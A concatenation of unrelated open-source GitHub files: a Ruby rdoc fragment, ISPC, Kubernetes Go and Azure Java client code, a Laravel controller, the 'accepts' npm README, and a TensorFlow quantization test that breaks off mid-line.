class="ruby-identifier">to_f</span>
<span class="ruby-keyword kw">end</span>
<span class="ruby-keyword kw">else</span>
<span class="ruby-keyword kw">if</span> <span class="ruby-identifier">sample</span>.<span class="ruby-identifier">zero?</span>
(<span class="ruby-identifier">size</span> <span class="ruby-operator">*</span> <span class="ruby-identifier">inject</span>(<span class="ruby-value">0</span>){<span class="ruby-operator">|</span><span class="ruby-identifier">x</span>, <span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">x</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">k</span> <span class="ruby-operator">**</span> <span class="ruby-value">2</span> } <span class="ruby-operator">-</span> <span class="ruby-identifier">inject</span>(<span class="ruby-value">0</span>){<span class="ruby-operator">|</span><span class="ruby-identifier">x</span>, <span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">x</span> <span class="ruby-operator">+</span><span class="ruby-identifier">k</span> } <span class="ruby-operator">**</span> <span class="ruby-value">2</span>).<span class="ruby-identifier">to_f</span> <span class="ruby-operator">/</span> (<span class="ruby-identifier">size</span><span class="ruby-operator">**</span><span class="ruby-value">2</span>) .<span class="ruby-identifier">to_f</span>
<span class="ruby-keyword kw">else</span>
(<span class="ruby-identifier">size</span> <span class="ruby-operator">*</span> <span class="ruby-identifier">inject</span>(<span class="ruby-value">0</span>){<span class="ruby-operator">|</span><span class="ruby-identifier">x</span>, <span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">x</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">k</span> <span class="ruby-operator">**</span> <span class="ruby-value">2</span> } <span class="ruby-operator">-</span> <span class="ruby-identifier">inject</span>(<span class="ruby-value">0</span>){<span class="ruby-operator">|</span><span class="ruby-identifier">x</span>, <span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">x</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">k</span> } <span class="ruby-operator">**</span> <span class="ruby-value">2</span>).<span class="ruby-identifier">to_f</span> <span class="ruby-operator">/</span> (<span class="ruby-identifier">size</span><span class="ruby-operator">*</span> (<span class="ruby-identifier">size</span> <span class="ruby-operator">-</span> <span class="ruby-value">1</span>) ).<span class="ruby-identifier">to_f</span>
<span class="ruby-keyword kw">end</span>
<span class="ruby-keyword kw">end</span>
<span class="ruby-keyword kw">end</span>
<span class="ruby-keyword kw">end</span>
</pre>
</div>
</div>
</div>
</div>
</div>
</body>
</html> | {
"pile_set_name": "Github"
} |
// ======================================================================== //
// Copyright 2009-2013 Intel Corporation //
// //
// Licensed under the Apache License, Version 2.0 (the "License"); //
// you may not use this file except in compliance with the License. //
// You may obtain a copy of the License at //
// //
// http://www.apache.org/licenses/LICENSE-2.0 //
// //
// Unless required by applicable law or agreed to in writing, software //
// distributed under the License is distributed on an "AS IS" BASIS, //
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. //
// See the License for the specific language governing permissions and //
// limitations under the License. //
// ======================================================================== //
#include "accubuffer.isph"
void AccuBuffer__Destructor(uniform RefCount* uniform _this)
{
uniform AccuBuffer* uniform this = (uniform AccuBuffer* uniform) _this;
delete[] this->ptr; this->ptr = NULL;
RefCount__Destructor(_this);
}
void AccuBuffer__Constructor(uniform AccuBuffer* uniform this, const uniform uint width, const uniform uint height)
{
RefCount__Constructor(&this->base,AccuBuffer__Destructor);
this->size.x = width;
this->size.y = height;
this->ptr = uniform new uniform vec4f[width*height];
for (uniform int i=0; i<width*height; i++)
this->ptr[i] = make_vec4f(0.0f,0.0f,0.0f,0.0f);
}
uniform AccuBuffer* uniform AccuBuffer__new(const uniform uint width, const uniform uint height)
{
uniform AccuBuffer* uniform this = uniform new uniform AccuBuffer;
AccuBuffer__Constructor(this,width,height);
return this;
}
| {
"pile_set_name": "Github"
} |
/*
Copyright 2018 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
package v1beta1
import (
v1beta1 "k8s.io/api/apps/v1beta1"
serializer "k8s.io/apimachinery/pkg/runtime/serializer"
"k8s.io/client-go/kubernetes/scheme"
rest "k8s.io/client-go/rest"
)
type AppsV1beta1Interface interface {
RESTClient() rest.Interface
ControllerRevisionsGetter
DeploymentsGetter
ScalesGetter
StatefulSetsGetter
}
// AppsV1beta1Client is used to interact with features provided by the apps group.
type AppsV1beta1Client struct {
restClient rest.Interface
}
func (c *AppsV1beta1Client) ControllerRevisions(namespace string) ControllerRevisionInterface {
return newControllerRevisions(c, namespace)
}
func (c *AppsV1beta1Client) Deployments(namespace string) DeploymentInterface {
return newDeployments(c, namespace)
}
func (c *AppsV1beta1Client) Scales(namespace string) ScaleInterface {
return newScales(c, namespace)
}
func (c *AppsV1beta1Client) StatefulSets(namespace string) StatefulSetInterface {
return newStatefulSets(c, namespace)
}
// NewForConfig creates a new AppsV1beta1Client for the given config.
func NewForConfig(c *rest.Config) (*AppsV1beta1Client, error) {
config := *c
if err := setConfigDefaults(&config); err != nil {
return nil, err
}
client, err := rest.RESTClientFor(&config)
if err != nil {
return nil, err
}
return &AppsV1beta1Client{client}, nil
}
// NewForConfigOrDie creates a new AppsV1beta1Client for the given config and
// panics if there is an error in the config.
func NewForConfigOrDie(c *rest.Config) *AppsV1beta1Client {
client, err := NewForConfig(c)
if err != nil {
panic(err)
}
return client
}
// New creates a new AppsV1beta1Client for the given RESTClient.
func New(c rest.Interface) *AppsV1beta1Client {
return &AppsV1beta1Client{c}
}
func setConfigDefaults(config *rest.Config) error {
gv := v1beta1.SchemeGroupVersion
config.GroupVersion = &gv
config.APIPath = "/apis"
config.NegotiatedSerializer = serializer.DirectCodecFactory{CodecFactory: scheme.Codecs}
if config.UserAgent == "" {
config.UserAgent = rest.DefaultKubernetesUserAgent()
}
return nil
}
// RESTClient returns a RESTClient that is used to communicate
// with API server by this client implementation.
func (c *AppsV1beta1Client) RESTClient() rest.Interface {
if c == nil {
return nil
}
return c.restClient
}
| {
"pile_set_name": "Github"
} |
export const environment = {
production: true
};
| {
"pile_set_name": "Github"
} |
# accepts
[![NPM Version][npm-version-image]][npm-url]
[![NPM Downloads][npm-downloads-image]][npm-url]
[![Node.js Version][node-version-image]][node-version-url]
[![Build Status][travis-image]][travis-url]
[![Test Coverage][coveralls-image]][coveralls-url]
Higher level content negotiation based on [negotiator](https://www.npmjs.com/package/negotiator).
Extracted from [koa](https://www.npmjs.com/package/koa) for general use.
In addition to negotiator, it allows:
- Allows types as an array or arguments list, ie `(['text/html', 'application/json'])`
as well as `('text/html', 'application/json')`.
- Allows type shorthands such as `json`.
- Returns `false` when no types match
- Treats non-existent headers as `*`
## Installation
This is a [Node.js](https://nodejs.org/en/) module available through the
[npm registry](https://www.npmjs.com/). Installation is done using the
[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):
```sh
$ npm install accepts
```
## API
<!-- eslint-disable no-unused-vars -->
```js
var accepts = require('accepts')
```
### accepts(req)
Create a new `Accepts` object for the given `req`.
#### .charset(charsets)
Return the first accepted charset. If nothing in `charsets` is accepted,
then `false` is returned.
#### .charsets()
Return the charsets that the request accepts, in the order of the client's
preference (most preferred first).
#### .encoding(encodings)
Return the first accepted encoding. If nothing in `encodings` is accepted,
then `false` is returned.
#### .encodings()
Return the encodings that the request accepts, in the order of the client's
preference (most preferred first).
#### .language(languages)
Return the first accepted language. If nothing in `languages` is accepted,
then `false` is returned.
#### .languages()
Return the languages that the request accepts, in the order of the client's
preference (most preferred first).
#### .type(types)
Return the first accepted type (and it is returned as the same text as what
appears in the `types` array). If nothing in `types` is accepted, then `false`
is returned.
The `types` array can contain full MIME types or file extensions. Any value
that is not a full MIME types is passed to `require('mime-types').lookup`.
#### .types()
Return the types that the request accepts, in the order of the client's
preference (most preferred first).
## Examples
### Simple type negotiation
This simple example shows how to use `accepts` to return a different typed
respond body based on what the client wants to accept. The server lists it's
preferences in order and will get back the best match between the client and
server.
```js
var accepts = require('accepts')
var http = require('http')
function app (req, res) {
var accept = accepts(req)
// the order of this list is significant; should be server preferred order
switch (accept.type(['json', 'html'])) {
case 'json':
res.setHeader('Content-Type', 'application/json')
res.write('{"hello":"world!"}')
break
case 'html':
res.setHeader('Content-Type', 'text/html')
res.write('<b>hello, world!</b>')
break
default:
// the fallback is text/plain, so no need to specify it above
res.setHeader('Content-Type', 'text/plain')
res.write('hello, world!')
break
}
res.end()
}
http.createServer(app).listen(3000)
```
You can test this out with the cURL program:
```sh
curl -I -H'Accept: text/html' http://localhost:3000/
```
## License
[MIT](LICENSE)
[coveralls-image]: https://badgen.net/coveralls/c/github/jshttp/accepts/master
[coveralls-url]: https://coveralls.io/r/jshttp/accepts?branch=master
[node-version-image]: https://badgen.net/npm/node/accepts
[node-version-url]: https://nodejs.org/en/download
[npm-downloads-image]: https://badgen.net/npm/dm/accepts
[npm-url]: https://npmjs.org/package/accepts
[npm-version-image]: https://badgen.net/npm/v/accepts
[travis-image]: https://badgen.net/travis/jshttp/accepts/master
[travis-url]: https://travis-ci.org/jshttp/accepts
| {
"pile_set_name": "Github"
} |
/**
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for
* license information.
*
* Code generated by Microsoft (R) AutoRest Code Generator.
*/
package com.microsoft.azure.management.network.v2018_06_01.implementation;
import com.microsoft.azure.SubResource;
import com.microsoft.azure.management.network.v2018_06_01.VpnConnectionStatus;
import java.util.List;
import com.microsoft.azure.management.network.v2018_06_01.IpsecPolicy;
import com.microsoft.azure.management.network.v2018_06_01.ProvisioningState;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.microsoft.rest.serializer.JsonFlatten;
import com.microsoft.rest.SkipParentValidation;
import com.microsoft.azure.Resource;
/**
* VpnConnection Resource.
*/
@JsonFlatten
@SkipParentValidation
public class VpnConnectionInner extends Resource {
/**
* Id of the connected vpn site.
*/
@JsonProperty(value = "properties.remoteVpnSite")
private SubResource remoteVpnSite;
/**
* routing weight for vpn connection.
*/
@JsonProperty(value = "properties.routingWeight")
private Integer routingWeight;
/**
* The connection status. Possible values include: 'Unknown', 'Connecting',
* 'Connected', 'NotConnected'.
*/
@JsonProperty(value = "properties.connectionStatus")
private VpnConnectionStatus connectionStatus;
/**
* Ingress bytes transferred.
*/
@JsonProperty(value = "properties.ingressBytesTransferred", access = JsonProperty.Access.WRITE_ONLY)
private Long ingressBytesTransferred;
/**
* Egress bytes transferred.
*/
@JsonProperty(value = "properties.egressBytesTransferred", access = JsonProperty.Access.WRITE_ONLY)
private Long egressBytesTransferred;
/**
* Expected bandwidth in MBPS.
*/
@JsonProperty(value = "properties.connectionBandwidthInMbps", access = JsonProperty.Access.WRITE_ONLY)
private Integer connectionBandwidthInMbps;
/**
* SharedKey for the vpn connection.
*/
@JsonProperty(value = "properties.sharedKey")
private String sharedKey;
/**
* EnableBgp flag.
*/
@JsonProperty(value = "properties.enableBgp")
private Boolean enableBgp;
/**
* The IPSec Policies to be considered by this connection.
*/
@JsonProperty(value = "properties.ipsecPolicies")
private List<IpsecPolicy> ipsecPolicies;
/**
* The provisioning state of the resource. Possible values include:
* 'Succeeded', 'Updating', 'Deleting', 'Failed'.
*/
@JsonProperty(value = "properties.provisioningState")
private ProvisioningState provisioningState;
/**
* Gets a unique read-only string that changes whenever the resource is
* updated.
*/
@JsonProperty(value = "etag", access = JsonProperty.Access.WRITE_ONLY)
private String etag;
/**
* Resource ID.
*/
@JsonProperty(value = "id")
private String id;
/**
* Get id of the connected vpn site.
*
* @return the remoteVpnSite value
*/
public SubResource remoteVpnSite() {
return this.remoteVpnSite;
}
/**
* Set id of the connected vpn site.
*
* @param remoteVpnSite the remoteVpnSite value to set
* @return the VpnConnectionInner object itself.
*/
public VpnConnectionInner withRemoteVpnSite(SubResource remoteVpnSite) {
this.remoteVpnSite = remoteVpnSite;
return this;
}
/**
* Get routing weight for vpn connection.
*
* @return the routingWeight value
*/
public Integer routingWeight() {
return this.routingWeight;
}
/**
* Set routing weight for vpn connection.
*
* @param routingWeight the routingWeight value to set
* @return the VpnConnectionInner object itself.
*/
public VpnConnectionInner withRoutingWeight(Integer routingWeight) {
this.routingWeight = routingWeight;
return this;
}
/**
* Get the connection status. Possible values include: 'Unknown', 'Connecting', 'Connected', 'NotConnected'.
*
* @return the connectionStatus value
*/
public VpnConnectionStatus connectionStatus() {
return this.connectionStatus;
}
/**
* Set the connection status. Possible values include: 'Unknown', 'Connecting', 'Connected', 'NotConnected'.
*
* @param connectionStatus the connectionStatus value to set
* @return the VpnConnectionInner object itself.
*/
public VpnConnectionInner withConnectionStatus(VpnConnectionStatus connectionStatus) {
this.connectionStatus = connectionStatus;
return this;
}
/**
* Get ingress bytes transferred.
*
* @return the ingressBytesTransferred value
*/
public Long ingressBytesTransferred() {
return this.ingressBytesTransferred;
}
/**
* Get egress bytes transferred.
*
* @return the egressBytesTransferred value
*/
public Long egressBytesTransferred() {
return this.egressBytesTransferred;
}
/**
* Get expected bandwidth in MBPS.
*
* @return the connectionBandwidthInMbps value
*/
public Integer connectionBandwidthInMbps() {
return this.connectionBandwidthInMbps;
}
/**
* Get sharedKey for the vpn connection.
*
* @return the sharedKey value
*/
public String sharedKey() {
return this.sharedKey;
}
/**
* Set sharedKey for the vpn connection.
*
* @param sharedKey the sharedKey value to set
* @return the VpnConnectionInner object itself.
*/
public VpnConnectionInner withSharedKey(String sharedKey) {
this.sharedKey = sharedKey;
return this;
}
/**
* Get enableBgp flag.
*
* @return the enableBgp value
*/
public Boolean enableBgp() {
return this.enableBgp;
}
/**
* Set enableBgp flag.
*
* @param enableBgp the enableBgp value to set
* @return the VpnConnectionInner object itself.
*/
public VpnConnectionInner withEnableBgp(Boolean enableBgp) {
this.enableBgp = enableBgp;
return this;
}
/**
* Get the IPSec Policies to be considered by this connection.
*
* @return the ipsecPolicies value
*/
public List<IpsecPolicy> ipsecPolicies() {
return this.ipsecPolicies;
}
/**
* Set the IPSec Policies to be considered by this connection.
*
* @param ipsecPolicies the ipsecPolicies value to set
* @return the VpnConnectionInner object itself.
*/
public VpnConnectionInner withIpsecPolicies(List<IpsecPolicy> ipsecPolicies) {
this.ipsecPolicies = ipsecPolicies;
return this;
}
/**
* Get the provisioning state of the resource. Possible values include: 'Succeeded', 'Updating', 'Deleting', 'Failed'.
*
* @return the provisioningState value
*/
public ProvisioningState provisioningState() {
return this.provisioningState;
}
/**
* Set the provisioning state of the resource. Possible values include: 'Succeeded', 'Updating', 'Deleting', 'Failed'.
*
* @param provisioningState the provisioningState value to set
* @return the VpnConnectionInner object itself.
*/
public VpnConnectionInner withProvisioningState(ProvisioningState provisioningState) {
this.provisioningState = provisioningState;
return this;
}
/**
* Get gets a unique read-only string that changes whenever the resource is updated.
*
* @return the etag value
*/
public String etag() {
return this.etag;
}
/**
* Get resource ID.
*
* @return the id value
*/
public String id() {
return this.id;
}
/**
* Set resource ID.
*
* @param id the id value to set
* @return the VpnConnectionInner object itself.
*/
public VpnConnectionInner withId(String id) {
this.id = id;
return this;
}
}
| {
"pile_set_name": "Github"
} |
<?php
namespace Ichtrojan\Location\Http\Controllers;
use Ichtrojan\Location\Models\City;
use Ichtrojan\Location\Models\State;
use Ichtrojan\Location\Models\Country;
use Illuminate\Http\JsonResponse;
class LocationController extends Controller
{
/**
* @return JsonResponse
*/
public function getCountries() {
$countries = Country::get(['id', 'code', 'name', 'phonecode']);
return response()->json($countries, 200);
}
/**
* @param $id
* @return JsonResponse
*/
public function getCountry($id) {
$country = Country::where('id', $id)->get(['id', 'code', 'name', 'phonecode']);
return response()->json($country,200);
}
/**
* @return JsonResponse
*/
public function getStates() {
$states = State::get(['id', 'name', 'country_id']);
return response()->json($states, 200);
}
/**
* @param $id
* @return JsonResponse
*/
public function getState($id) {
$states = State::where('id', $id)->get(['id', 'name', 'country_id']);
return response()->json($states, 200);
}
/**
* @return JsonResponse
*/
public function getCities() {
$cities = City::get(['id', 'name', 'state_id']);
return response()->json($cities, 200);
}
/**
* @param $id
* @return JsonResponse
*/
public function getCity($id) {
$country = City::where('id', $id)->get(['id', 'name', 'state_id']);
return response()->json($country, 200);
}
/**
* @param $countryId
* @return JsonResponse
*/
public function getStatesByCountry($countryId) {
$countryStates = State::where('country_id', $countryId)->get(['id', 'name']);
return response()->json($countryStates, 200);
}
/**
* @param $stateId
* @return JsonResponse
*/
public function getCitiesByStates($stateId) {
$stateCities = City::where('state_id', $stateId)->get(['id', 'name']);
return response()->json($stateCities, 200);
}
/**
* @param $countryId
* @return JsonResponse
*/
public function getCitiesByCountry($countryId) {
$countryCities = City::where('country_id', $countryId)->get(['id', 'name']);
return response()->json($countryCities, 200);
}
}
| {
"pile_set_name": "Github"
} |
schedule:
program->configApplyDirection("s1", "DensePull")->configApplyParallelization("s1", "dynamic-vertex-parallel");
program->configApplyParallelization("s2","serial");
| {
"pile_set_name": "Github"
} |
# Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for Default Transforms."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from absl.testing import parameterized
import numpy as np
import tensorflow as tf
from tensorflow_model_optimization.python.core.quantization.keras import quantize
from tensorflow_model_optimization.python.core.quantization.keras import quantize_aware_activation
from tensorflow_model_optimization.python.core.quantization.keras import quantize_layer
from tensorflow_model_optimization.python.core.quantization.keras import quantizers
from tensorflow_model_optimization.python.core.quantization.keras.default_8bit import default_8bit_quantize_configs
from tensorflow_model_optimization.python.core.quantization.keras.default_8bit import default_8bit_transforms
from tensorflow_model_optimization.python.core.quantization.keras.graph_transformations import model_transformer
from tensorflow_model_optimization.python.core.quantization.keras.layers import conv_batchnorm_test_utils
ModelTransformer = model_transformer.ModelTransformer
Conv2DModel = conv_batchnorm_test_utils.Conv2DModel
DepthwiseConv2DModel = conv_batchnorm_test_utils.DepthwiseConv2DModel
keras = tf.keras
Conv2DBatchNormActivationQuantize = default_8bit_transforms.Conv2DBatchNormActivationQuantize
Conv2DBatchNormReLUQuantize = default_8bit_transforms.Conv2DBatchNormReLUQuantize
# TODO(alanchiao): reduce redundancy by parameterizing on Depthwise vs Conv.
class DefaultTransformsTest(tf.test.TestCase, parameterized.TestCase):
def testTransformsConvBNReLUPattern(self):
model = Conv2DModel.get_nonfolded_batchnorm_model(
post_bn_activation=keras.layers.ReLU(6.0), model_type='functional')
folded_model = Conv2DModel.get_folded_batchnorm_model(
post_bn_activation=keras.layers.ReLU(6.0), is_quantized=True)
transformed_model, _ = ModelTransformer(
model,
[default_8bit_transforms.Conv2DBatchNormReLU6Fold()]).transform()
inputs = np.random.standard_normal(Conv2DModel.get_batched_input_shape())
self.assertAllClose(
transformed_model.predict(inputs), folded_model.predict(inputs))
def testTransformsConvBNReLUPatternPreservesWeights(self):
# random_init to prevent non-random initialization in resulting
# in same weights between transformed and non-transformed models.
model = Conv2DModel.get_nonfolded_batchnorm_model(
post_bn_activation=keras.layers.ReLU(6.0),
model_type='functional',
random_init=True)
transformed_model, _ = ModelTransformer(
model,
[default_8bit_transforms.Conv2DBatchNormReLU6Fold()]).transform()
transformed_weights = transformed_model.get_weights()
# Remove quantization related weights.
del transformed_weights[3:8]
self.assertEqual(len(transformed_weights), len(model.get_weights()))
for i in range(len(transformed_weights)):
self.assertAllEqual(transformed_weights[i], model.get_weights()[i])
def testTransformsConvBNPattern(self):
model = Conv2DModel.get_nonfolded_batchnorm_model(
model_type='functional')
folded_model = Conv2DModel.get_folded_batchnorm_model(
is_quantized=True)
with quantize.quantize_scope():
transformed_model, _ = ModelTransformer(
model, [default_8bit_transforms.Conv2DBatchNormFold()]).transform()
inputs = np.random.standard_normal(Conv2DModel.get_batched_input_shape())
self.assertAllClose(
transformed_model.predict(inputs), folded_model.predict(inputs))
def testTransformsConvBNPatternPreservesWeights(self):
# random_init to prevent non-random initialization in resulting
# in same weights between transformed and non-transformed models.
model = Conv2DModel.get_nonfolded_batchnorm_model(
model_type='functional',
random_init=True)
transformed_model, _ = ModelTransformer(
model, [default_8bit_transforms.Conv2DBatchNormFold()]).transform()
transformed_weights = transformed_model.get_weights()
# Remove quantization related weights.
del transformed_weights[3:8]
self.assertEqual(len(transformed_weights), len(model.get_weights()))
for i in range(len(transformed_weights)):
self.assertAllEqual(transformed_weights[i], model.get_weights()[i])
def testTransformsDepthwiseConvBNReLUPattern(self):
model = DepthwiseConv2DModel.get_nonfolded_batchnorm_model(
post_bn_activation=keras.layers.ReLU(6.0), model_type='functional')
folded_model = DepthwiseConv2DModel.get_folded_batchnorm_model(
post_bn_activation=keras.layers.ReLU(6.0), is_quantized=True)
transformed_model, _ = ModelTransformer(
model, [default_8bit_transforms.DepthwiseConv2DBatchNormReLU6Fold()
]).transform()
inputs = np.random.standard_normal(
DepthwiseConv2DModel.get_batched_input_shape())
self.assertAllClose(
transformed_model.predict(inputs), folded_model.predict(inputs))
def testTransformsDepthwiseConvBNReLUPatternPreservesWeights(self):
# random_init to prevent non-random initialization in resulting
# in same weights between transformed and non-transformed models.
model = DepthwiseConv2DModel.get_nonfolded_batchnorm_model(
post_bn_activation=keras.layers.ReLU(6.0),
model_type='functional',
random_init=True)
transformed_model, _ = ModelTransformer(
model, [default_8bit_transforms.DepthwiseConv2DBatchNormReLU6Fold()
]).transform()
transformed_weights = transformed_model.get_weights()
# Remove quantization related weights.
del transformed_weights[3:8]
self.assertEqual(len(transformed_weights), len(model.get_weights()))
for i in range(len(transformed_weights)):
self.assertAllEqual(transformed_weights[i], model.get_weights()[i])
@staticmethod
def _get_model(layer_type, activation_type):
activation = None
if activation_type == 'relu':
activation = keras.layers.ReLU(6.0)
elif activation_type == 'act_relu':
activation = keras.layers.Activation('relu')
if layer_type == 'Conv2D':
return Conv2DModel.get_nonfolded_batchnorm_model(
model_type='functional', post_bn_activation=activation)
elif layer_type == 'DepthwiseConv2D':
return DepthwiseConv2DModel.get_nonfolded_batchnorm_model(
model_type='functional', post_bn_activation=activation)
@staticmethod
def _get_input_shape(layer_type):
if layer_type == 'Conv2D':
return Conv2DModel.get_batched_input_shape()
elif layer_type == 'DepthwiseConv2D':
return DepthwiseConv2DModel.get_batched_input_shape()
@parameterized.parameters('Conv2D', 'DepthwiseConv2D')
def testConv2DBatchNormQuantize(self, layer_type):
model = self._get_model(layer_type, False)
input_shape = self._get_input_shape(layer_type)
transformed_model, updated_metadata = ModelTransformer(
model,
[default_8bit_transforms.Conv2DBatchNormQuantize()],
).transform()
conv_layer = transformed_model.layers[1]
bn_layer = transformed_model.layers[2]
self.assertIsInstance(
conv_layer.activation, quantize_aware_activation.NoOpActivation)
self.assertIsInstance(
updated_metadata.get(bn_layer.name).get('quantize_config'),
default_8bit_quantize_configs.Default8BitOutputQuantizeConfig)
inputs = np.random.standard_normal(input_shape)
self.assertAllClose(
transformed_model.predict(inputs), model.predict(inputs))
@parameterized.parameters(
('Conv2D', 'relu', Conv2DBatchNormReLUQuantize),
('Conv2D', 'act_relu', Conv2DBatchNormActivationQuantize),
('DepthwiseConv2D', 'relu', Conv2DBatchNormReLUQuantize),
('DepthwiseConv2D', 'act_relu',
Conv2DBatchNormActivationQuantize),
)
def testConv2DBatchNormReLUQuantize(
self, layer_type, activation_type, transform_type):
model = self._get_model(layer_type, activation_type)
input_shape = self._get_input_shape(layer_type)
transformed_model, updated_metadata = ModelTransformer(
model,
[transform_type()],
).transform()
conv_layer = transformed_model.layers[1]
bn_layer = transformed_model.layers[2]
self.assertIsInstance(
conv_layer.activation, quantize_aware_activation.NoOpActivation)
self.assertIsInstance(
updated_metadata.get(bn_layer.name).get('quantize_config'),
default_8bit_quantize_configs.NoOpQuantizeConfig)
inputs = np.random.standard_normal(input_shape)
self.assertAllClose(
transformed_model.predict(inputs), model.predict(inputs))
@parameterized.named_parameters(
('padding_valid', {'padding': 'valid'}),
('padding_same', {'padding': 'same'}),
('padding_same_dilation_2', {'padding': 'same', 'dilation_rate': 2}),
('strides', {'strides': 2}),
('dilation_rate', {'dilation_rate': 2}),
('depth_multiplier', {'depth_multiplier': 2}),
('regularizer', {
'depthwise_regularizer': 'l2',
'pointwise_regularizer': 'l2',
'bias_regularizer': 'l2',
'activity_regularizer': 'l2'}),
('constraint', {
'depthwise_constraint': tf.keras.constraints.max_norm(2.),
'pointwise_constraint': tf.keras.constraints.min_max_norm(0., 2.),
'bias_constraint': tf.keras.constraints.unit_norm()}),
('activation_relu', {'activation': 'relu'}),
('activation_softmax', {'activation': 'softmax'}),
)
def testSeparableConv1DQuantize_(self, kwargs):
kwargs['filters'] = 2
kwargs['kernel_size'] = 3
num_samples = 2
stack_size = 3
num_row = 7
sepconv_model = tf.keras.Sequential([
tf.keras.Input(
shape=(num_row, stack_size), batch_size=num_samples),
tf.keras.layers.SeparableConv1D(**kwargs)])
transformed_model, updated_metadata = ModelTransformer(
sepconv_model,
[default_8bit_transforms.SeparableConv1DQuantize()],
).transform()
self.assertContainsSubset(
{'sepconv1d_expand_1', 'separable_conv1d_QAT_SepConv2D',
'sepconv1d_squeeze_1'},
updated_metadata.keys())
self.assertEqual(sepconv_model.output_shape, transformed_model.output_shape)
x = np.random.rand(*sepconv_model.input_shape)
y = np.random.rand(*sepconv_model.output_shape)
# Ensure model is equivalent, and forward pass results are the same.
self.assertAllClose(sepconv_model.predict(x), transformed_model.predict(x))
# Ensure model is equivalent, and training results are the same.
sepconv_model.compile(loss='categorical_crossentropy', optimizer='sgd')
sepconv_model.fit(x, y, epochs=100)
transformed_model.compile(loss='categorical_crossentropy', optimizer='sgd')
transformed_model.fit(x, y, epochs=100)
# Over a long training cycle with constraints and regularizers, the model
# can build very minute differences. Hence reducing tol to 1e-5.
self.assertAllClose(sepconv_model.predict(x), transformed_model.predict(x),
atol=1e-5, rtol=1e-5)
@parameterized.named_parameters(
('padding_valid', {'padding': 'valid'}),
('padding_same', {'padding': 'same'}),
('padding_same_dilation_2', {'padding': 'same', 'dilation_rate': 2}),
('strides', {'strides': 2}),
('dilation_rate', {'dilation_rate': 2}),
('depth_multiplier', {'depth_multiplier': 2}),
('regularizer', {
'depthwise_regularizer': 'l2',
'pointwise_regularizer': 'l2',
'bias_regularizer': 'l2',
'activity_regularizer': 'l2'}),
('constraint', {
'depthwise_constraint': tf.keras.constraints.max_norm(2.),
'pointwise_constraint': tf.keras.constraints.min_max_norm(0., 2.),
'bias_constraint': tf.keras.constraints.unit_norm()})
)
def testSeparableConvQuantize_(self, kwargs):
kwargs['filters'] = 2
kwargs['kernel_size'] = 3
num_samples = 2
stack_size = 3
num_row = 7
num_col = 6
sepconv_model = tf.keras.Sequential([
tf.keras.Input(
shape=(num_row, num_col, stack_size), batch_size=num_samples),
tf.keras.layers.SeparableConv2D(**kwargs)])
transformed_model, updated_metadata = ModelTransformer(
sepconv_model,
[default_8bit_transforms.SeparableConvQuantize()],
).transform()
self.assertContainsSubset(
updated_metadata.keys(), {'depthwise_conv2d', 'conv2d'})
# Transformed model should have the same output shape
self.assertEqual(sepconv_model.output_shape, transformed_model.output_shape)
x = np.random.rand(*sepconv_model.input_shape)
y = np.random.rand(*sepconv_model.output_shape)
# Ensure model is equivalent, and forward pass results are the same.
self.assertAllClose(sepconv_model.predict(x), transformed_model.predict(x))
# Ensure model is equivalent, and training results are the same.
sepconv_model.compile(loss='categorical_crossentropy', optimizer='sgd')
sepconv_model.fit(x, y, epochs=100)
transformed_model.compile(loss='categorical_crossentropy', optimizer='sgd')
transformed_model.fit(x, y, epochs=100)
# Over a long training cycle with constraints and regularizers, the model
# can build very minute differences. Hence reducing tol to 1e-5.
self.assertAllClose(sepconv_model.predict(x), transformed_model.predict(x),
atol=1e-5, rtol=1e-5)
# TODO(pulkitb): Add individual tests for the following transforms.
# Conv2DReshapeBatchNormQuantize, Conv2DReshapeBatchNormReLUQuantize
# Conv2DReshapeBatchNormActivationQuantize
@parameterized.parameters(
('relu', default_8bit_transforms.AddReLUQuantize),
('act_relu', default_8bit_transforms.AddActivationQuantize),
)
def testAddReLUQuantize(self, activation_type, transform_type):
add = keras.layers.Add()
if activation_type == 'relu':
activation = keras.layers.ReLU(6.0)
elif activation_type == 'act_relu':
activation = keras.layers.Activation('relu')
inp1 = keras.layers.Input((3,))
inp2 = keras.layers.Input((3,))
x = activation(add([inp1, inp2]))
model = keras.Model([inp1, inp2], x)
transformed_model, updated_metadata = ModelTransformer(
model,
[transform_type()],
).transform()
add_layer = transformed_model.layers[2]
self.assertIsInstance(
updated_metadata.get(add_layer.name).get('quantize_config'),
default_8bit_quantize_configs.NoOpQuantizeConfig)
def testAddsQuantizeLayerAfterInputLayer(self):
inp1 = keras.layers.Input((3,))
inp2 = keras.layers.Input((3,))
x = keras.layers.Concatenate()([inp1, inp2])
model = keras.Model([inp1, inp2], x)
transformed_model, _ = ModelTransformer(
model,
[default_8bit_transforms.InputLayerQuantize()]).transform()
for input_layer in transformed_model._input_layers:
layer_after_input = input_layer._outbound_nodes[0].outbound_layer
self.assertIsInstance(
layer_after_input,
quantize_layer.QuantizeLayer)
self.assertIsInstance(
